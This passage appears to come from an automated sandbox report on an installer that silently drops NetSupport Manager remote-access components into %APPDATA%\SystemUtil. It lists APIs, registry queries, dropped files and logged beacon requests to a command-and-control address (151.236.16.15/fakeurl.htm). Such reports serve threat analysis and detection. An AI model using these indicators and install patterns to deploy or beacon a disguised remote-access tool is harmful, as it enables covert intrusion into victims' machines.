"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe")8a:T492,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp")8b:T2772,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: pcicapi.dll] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: PCICL32.DLL] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: PCICL32.DLL] Observed import api "AllocateLocallyUniqueId" which can "allocate a locally unique identifier (LUID)" [Source: PCICL32.DLL] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: PCICL32.DLL] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: PCICL32.DLL] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: PCICL32.DLL] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: PCICL32.DLL] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: PCICL32.DLL] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: PCICL32.DLL] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: PCICL32.DLL] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: PCICL32.DLL] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: PCICL32.DLL] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: PCICL32.DLL] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: PCICL32.DLL] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: PCICL32.DLL] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: PCICL32.DLL] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: PCICL32.DLL] Observed import api "SetSecurityDescriptorSacl" which can "set information in a system access control list (SACL)" [Source: PCICL32.DLL] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: PCICL32.DLL] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: is-E4H59.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: is-E4H59.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-E4H59.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: is-E4H59.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: is-E4H59.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: is-E4H59.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: is-E4H59.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: is-HK8T3.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: is-HK8T3.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-HK8T3.tmp] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: is-HK8T3.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: is-HK8T3.tmp] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: is-HK8T3.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: is-HK8T3.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: is-HK8T3.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: is-HK8T3.tmp] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: is-HK8T3.tmp] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: is-HK8T3.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: TCCTL32.DLL] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: TCCTL32.DLL] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: TCCTL32.DLL] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: HTCTL32.DLL] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: HTCTL32.DLL] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: HTCTL32.DLL] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]8c:Ta12,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IS-2BB8I.TMP\A1720D68EEF7DC381A533FD8584A227DB3DBCAED16098A0D7F31077F95355E8C.TMP"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\SYSTEMUTIL\CLIENT32.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "")8d:T579,Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OpenMutexW" (Indicator: "OpenMutex"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateMutex() FAILED - mutex: %s (%d)" (Indicator: "CreateMutex"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ReleaseMutex() FAILED - mutex: %s (%d)" (Indicator: "ReleaseMutex"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")8e:T5c0,Dropped file: "client32.exe" - Location: [%APPDATA%\SystemUtil\client32.exe]- [targetUID: 00000000-00007184] Dropped file: "AudioCapture.dll" - Location: [%APPDATA%\SystemUtil\AudioCapture.dll]- [targetUID: 00000000-00007184] Dropped file: "remcmdstub.exe" - Location: [%APPDATA%\SystemUtil\remcmdstub.exe]- [targetUID: 00000000-00007184] Dropped file: "pcicapi.dll" - Location: [%APPDATA%\SystemUtil\pcicapi.dll]- [targetUID: 00000000-00007184] Dropped file: "powershell.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00007184] Dropped file: "PCICL32.DLL" - Location: [%APPDATA%\SystemUtil\PCICL32.DLL]- [targetUID: 00000000-00007184] Dropped file: "installPackage.zip" - Location: [%APPDATA%\installPackage.zip]- [targetUID: 00000000-00007184] Dropped file: "TCCTL32.DLL" - Location: [%APPDATA%\SystemUtil\TCCTL32.DLL]- [targetUID: 00000000-00007184] Dropped file: "HTCTL32.DLL" - Location: [%APPDATA%\SystemUtil\HTCTL32.DLL]- [targetUID: 00000000-00007184] Dropped file: "PCICHEK.DLL" - Location: [%APPDATA%\SystemUtil\PCICHEK.DLL]- [targetUID: 00000000-00007184] Dropped file: "client32.ini" - Location: [%APPDATA%\SystemUtil\client32.ini]- [targetUID: 00000000-00007184] Dropped file: "NSM.LIC" - Location: [%APPDATA%\SystemUtil\NSM.LIC]- [targetUID: 00000000-00007184] Dropped file: "nsm_vpro.ini" - Location: [%APPDATA%\SystemUtil\nsm_vpro.ini]- [targetUID: 00000000-00007184]8f:T664,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" was detected as "Borland Delphi 4.0" "AudioCapture.dll" was detected as "Visual C++ 2005 DLL -> Microsoft" "remcmdstub.exe" was detected as "VC8 -> Microsoft Corporation" "pcicapi.dll" was detected as "Visual C++ 2005 DLL -> Microsoft" "PCICL32.DLL" was detected as "Visual C++ 2005 DLL -> Microsoft" "is-E4H59.tmp" was detected as "Borland Delphi 4.0" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" was detected as "Borland Delphi 4.0" "is-RDOSR.tmp" was detected as "VC8 -> Microsoft Corporation" "is-44761.tmp" was detected as "Borland Delphi 3.0 (???)" "is-QB4I9.tmp" was detected as "Borland Delphi 3.0 (???)" "is-HK8T3.tmp" was detected as "Borland Delphi 3.0 (???)" "is-OGV90.tmp" was detected as "Borland Delphi 3.0 (???)" "TCCTL32.DLL" was detected as "Visual C++ 2005 DLL -> Microsoft" "is-9R196.tmp" was detected as "Borland Delphi 3.0 (???)" "is-9S9LT.tmp" was detected as "VC8 -> Microsoft Corporation" "HTCTL32.DLL" was detected as "Visual C++ 2005 DLL -> Microsoft" "is-MDSR5.tmp" was detected as "Borland Delphi 3.0 (???)" "is-9HESL.tmp" was detected as "Microsoft visual C++ 8.0" "is-GITR0.tmp" was detected as "Borland Delphi 3.0 (???)" "is-SMMFE.tmp" was detected as "Borland Delphi 3.0 (???)" "is-C398I.tmp" was detected as "Borland Delphi 3.0 (???)" "is-3RCEH.tmp" was detected as "Borland Delphi 3.0 (???)" "is-USEBL.tmp" was detected as "Microsoft visual C++ vx.x DLL" "is-QPD72.tmp" was detected as "Microsoft visual C++ vx.x DLL" "is-40SJ6.tmp" was detected as "Microsoft visual C++ vx.x DLL"90:T4ed,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "client32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "client32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "D") "client32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "F") "client32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "5") "client32.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "2")91:T89e,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has section name .text with entropy "6.377190161826806" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has section name .itext with entropy "6.109264411030635" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has section name .reloc with entropy "6.709466460182023" "client32.exe" has section name .rsrc with entropy "6.5379685940796035" "AudioCapture.dll" has section name .text with entropy "6.563058470695334" "remcmdstub.exe" has section name .text with entropy "6.49125764081755" "pcicapi.dll" has section name .text with entropy "6.273847250914389" "PCICL32.DLL" has section name .text with entropy "6.612705719916754" "PCICL32.DLL" has section name .reloc with entropy "6.043094682103557" "is-E4H59.tmp" has section name .text with entropy "6.442019702458792" "is-E4H59.tmp" has section name .itext with entropy "6.150722356110934" "is-E4H59.tmp" has section name .data with entropy "6.333690263645768" "is-E4H59.tmp" has section name .reloc with entropy "6.733544049824253" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has section name .text with entropy "6.442019702458792" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has section name .itext with entropy "6.150722356110934" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has section name .data with entropy "6.333690263645768" "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has section name .reloc with entropy "6.733544049824253" "is-RDOSR.tmp" has section name .text with entropy "6.298225132696286" "is-RDOSR.tmp" has section name .rdata with entropy "6.008921408940561" "is-RDOSR.tmp" has section name .reloc with entropy "6.767083235550049" "is-44761.tmp" has section name .text with entropy "6.147506020178253" "is-44761.tmp" has section name .reloc with entropy "6.7923972178399845" "is-QB4I9.tmp" has section name .text with entropy "6.541509769531393" "is-QB4I9.tmp" has section name .rdata with entropy "6.258219278850706" "is-QB4I9.tmp" has section name .reloc with entropy "6.622027920627646"92:T76f,"POST http://151.236.16.15/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 22 Host: 151.236.16.15 Connection: Keep-Alive" with payload::==> "43:4d:44:3d:50:4f:4c:4c:0a:49:4e:46:4f:3d:31:0a:41:43:4b:3d:31:0a" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 69 Connection: Keep-Alive with response body ==>34333A34643A34343A33643A34353A34653A34333A34343A30613A34353A35333A33643A33313A30613A34343A34313A35343A34313A33643A38333A36373A32....... "POST http://151.236.16.15/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 260 Host: 151.236.16.15 Connection: Keep-Alive" with payload::==> "43:4d:44:3d:45:4e:43:44:0a:45:53:3d:31:0a:44:41:54:41:3d:75:fe:32:68:0c:72:ef:02:34:d7:5d:a7:b1:25:79:2d:a9:85:af:cf:dc:3d:49:ad:88:de:44:33:bc:57:8e:8a:69:e9:37:3f:bf:03:ae:c8:3d:40:fd:ec:c7:c1:46:e5:66:d5:aa:9b:e8:26:74:c8:5b:05:c8:36:72:61:06:fe:4c:e0:ad:d4:3d:49:37:02:45:7b:d2:3d:49:54:6b:de:fd:35:e2:0c:a3:2a:ce:f0:47:5d:fa:c8:35:54:dc:6d:e2:3c:c4:aa:4f:1f:be:b5:dd:61:c0:67:1c:4b:57:8c:7b:3c:cc:ba:6a:18:07:c8:d1:69:31:13:65:1f:e9:be:33:13:f0:94:e6:3e:fc:3a:7d:cb:5d:2d:02:f2:8f:8a:cc:c8:bb:d8:14:4c:99:0b:8f:16:3d:6e:31:62:f4:4d:e7:11:5d:30:29:9f:3a:24:94:67:79:43:67:32:30:5d:33:ab:77:82:dd:83:32:a5:e1:05:bf:31:43:f7:a4:40:1d:0c:bf:25:2d:d2:54:3d:4a:7d:e9:f3:cb:3b:29:2c:a7:2c:a0:44:71:96:3d:40:be:8c:6f:8d:63:6b:70:3d:40:ed:72:fd:96:96:af:aa:ac:b3:df:4d:db:36:b3:a1:0a" HTTP/1.1 200 OK\n Server: NetSupport Gateway/1.92 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 156 Connection: Keep-Alive with response body ==>34333A34643A34343A33643A34353A34653A34333A34343A30613A34353A35333A33643A33313A30613A34343A34313A35343A34313A33643A37353A66653A33.......93:T2285,"client32.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%APPDATA%\SystemUtil\client32.exe]- [targetUID: 00000000-00007184] "AudioCapture.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\AudioCapture.dll]- [targetUID: 00000000-00007184] "remcmdstub.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\remcmdstub.exe]- [targetUID: 00000000-00007184] "pcicapi.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\pcicapi.dll]- [targetUID: 00000000-00007184] "is-ICQ8B.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-ICQ8B.tmp]- [targetUID: 00000000-00005220] "is-DHH17.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-DHH17.tmp]- [targetUID: 00000000-00005220] "is-UHU0O.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-UHU0O.tmp]- [targetUID: 00000000-00005220] "PCICL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 7 sections"- Location: [%APPDATA%\SystemUtil\PCICL32.DLL]- [targetUID: 00000000-00007184] "is-E4H59.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-E4H59.tmp]- [targetUID: 00000000-00005220] "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- Location: [%TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp]- [targetUID: 00000000-00005220] "is-RDOSR.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-RDOSR.tmp]- [targetUID: 00000000-00005220] "is-44761.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\platforms\is-44761.tmp]- [targetUID: 00000000-00005220] "is-QB4I9.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-QB4I9.tmp]- [targetUID: 00000000-00005220] "is-HK8T3.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-HK8T3.tmp]- [targetUID: 00000000-00005220] "is-OGV90.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-OGV90.tmp]- [targetUID: 00000000-00005220] "TCCTL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\TCCTL32.DLL]- [targetUID: 00000000-00007184] "is-9R196.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 6 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-9R196.tmp]- [targetUID: 00000000-00005220] "is-9S9LT.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-9S9LT.tmp]- [targetUID: 00000000-00005220] "HTCTL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\HTCTL32.DLL]- [targetUID: 00000000-00007184] "is-MDSR5.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-MDSR5.tmp]- [targetUID: 00000000-00005220] "is-9HESL.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 7 sections"- Location: 